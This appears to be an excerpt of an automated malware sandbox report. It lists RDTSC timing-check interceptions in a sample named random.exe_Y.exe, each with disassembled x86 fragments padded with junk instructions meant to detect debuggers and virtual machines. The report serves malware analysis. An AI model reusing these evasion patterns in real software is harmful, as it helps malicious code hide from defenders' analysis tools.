Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D5B4 second address: 32D5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D5BA second address: 32D5C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D6F7 second address: 32D727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3458756CA6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnc 00007F3458756CA6h 0x00000012 popad 0x00000013 push ebx 0x00000014 jmp 00007F3458756CAAh 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007F3458756CA6h 0x00000025 jng 00007F3458756CA6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D727 second address: 32D72D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D72D second address: 32D737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D737 second address: 32D741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3458CA5146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D9BA second address: 32D9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458756CB5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32DB1C second address: 32DB46 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007F3458CA514Fh 0x00000017 jbe 00007F3458CA5146h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32DB46 second address: 32DB4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32DC8C second address: 32DC96 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3458CA5146h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32DC96 second address: 32DC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32EC56 second address: 32EC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3458CA5146h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F3458CA514Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32CBF3 second address: 32CC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F3458756CAAh 0x0000000c jmp 00007F3458756CAEh 0x00000011 pushad 0x00000012 jbe 00007F3458756CA6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 348458 second address: 34845C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 34845C second address: 348462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 348462 second address: 348468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 347FD3 second address: 347FD9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504AD second address: 3504B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504B1 second address: 3504C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F3458756CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504C2 second address: 3504C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504C7 second address: 3504CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504CD second address: 3504D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3504D3 second address: 3504E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F3458756CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35FF09 second address: 35FF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3458CA5146h 0x0000000a popad 0x0000000b jmp 00007F3458CA514Fh 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jg 00007F3458CA5146h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35FF2E second address: 35FF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E684 second address: 35E69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3458CA5152h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E69C second address: 35E6A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E6A0 second address: 35E6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E7F5 second address: 35E7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E7FA second address: 35E800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E800 second address: 35E806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E806 second address: 35E80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35E80A second address: 35E80E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35EC55 second address: 35EC5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35EC5E second address: 35EC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F3458756CB8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35EC7F second address: 35EC8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3458CA5146h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35EF63 second address: 35EF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35EF67 second address: 35EF8C instructions: 0x00000000 rdtsc 0x00000002 js 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F3458CA5157h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35F0EE second address: 35F0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35F0F6 second address: 35F104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F3458CA5146h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 35FB8A second address: 35FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3655F8 second address: 365625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007F3458CA5146h 0x0000000d jmp 00007F3458CA514Ah 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F3458CA5152h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 377111 second address: 377125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458756CAFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 371ABD second address: 371AE0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F3458CA5156h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 371AE0 second address: 371B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jo 00007F3458756CC5h 0x0000000c jmp 00007F3458756CB9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 383476 second address: 38347C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 38347C second address: 383492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3458756CACh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 383492 second address: 3834AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5154h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39FDA2 second address: 39FDC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F3458756CB3h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39FDC1 second address: 39FDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3458CA5146h 0x0000000a jnl 00007F3458CA5146h 0x00000010 popad 0x00000011 jmp 00007F3458CA514Bh 0x00000016 jmp 00007F3458CA514Ah 0x0000001b popad 0x0000001c push esi 0x0000001d jnp 00007F3458CA514Eh 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39EF35 second address: 39EF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jng 00007F3458756CACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39F1FE second address: 39F20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F3458CA5146h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39F79B second address: 39F7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39F7A2 second address: 39F7A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39F7A8 second address: 39F7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 39F7AD second address: 39F7B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3458CA5146h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3A569F second address: 3A56BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3A8F69 second address: 3A8F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5154h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F3458CA5150h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3458CA514Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB00C1 second address: 4BB0115 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3458756CABh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F3458756CB6h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3458756CB7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0115 second address: 4BB011B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA004F second address: 4BA005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA005F second address: 4BA0063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0063 second address: 4BA00A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3458756CAEh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F3458756CB0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3458756CB7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA00A6 second address: 4BA00AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA00AC second address: 4BA00B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B701A6 second address: 4B70202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007F3458CA514Eh 0x00000011 pushfd 0x00000012 jmp 00007F3458CA5152h 0x00000017 add eax, 35CBAC38h 0x0000001d jmp 00007F3458CA514Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push dword ptr [ebp+04h] 0x00000027 pushad 0x00000028 push ecx 0x00000029 mov bh, 1Ch 0x0000002b pop esi 0x0000002c mov dx, 6780h 0x00000030 popad 0x00000031 push dword ptr [ebp+0Ch] 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pop ebx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90713 second address: 4B9074F instructions: 0x00000000 rdtsc 0x00000002 mov ah, 19h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F3458756CB8h 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3458756CB7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B9074F second address: 4B90775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov ebx, 59B90ED6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F3458CA514Dh 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov esi, edx 0x0000001a movsx edi, ax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90411 second address: 4B90427 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ch, 9Fh 0x0000000c mov esi, edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90427 second address: 4B9042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B9042B second address: 4B9042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B9042F second address: 4B90435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90435 second address: 4B90465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458756CB7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90465 second address: 4B90489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 call 00007F3458CA514Bh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov ecx, 0CAF95B7h 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90489 second address: 4B9048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B9048D second address: 4B90493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90493 second address: 4B90499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA036D second address: 4BA0373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0373 second address: 4BA0384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c mov di, 911Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BA0384 second address: 4BA03B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5154h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F3458CA514Ch 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE002A second address: 4BE0030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE0030 second address: 4BE0034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE0034 second address: 4BE0038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE0038 second address: 4BE0070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3458CA514Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov eax, ebx 0x00000014 call 00007F3458CA5159h 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE0070 second address: 4BE00B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 pushfd 0x00000007 jmp 00007F3458756CB9h 0x0000000c and ch, FFFFFFB6h 0x0000000f jmp 00007F3458756CB1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3458756CADh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BE00B9 second address: 4BE00BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0435 second address: 4BB0473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx edi, ax 0x0000000f mov si, AF6Fh 0x00000013 popad 0x00000014 pushad 0x00000015 mov dx, si 0x00000018 push eax 0x00000019 pop edx 0x0000001a popad 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F3458756CB5h 0x00000025 pop eax 0x00000026 push edx 0x00000027 pop eax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0473 second address: 4BB0490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5159h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0490 second address: 4BB0494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
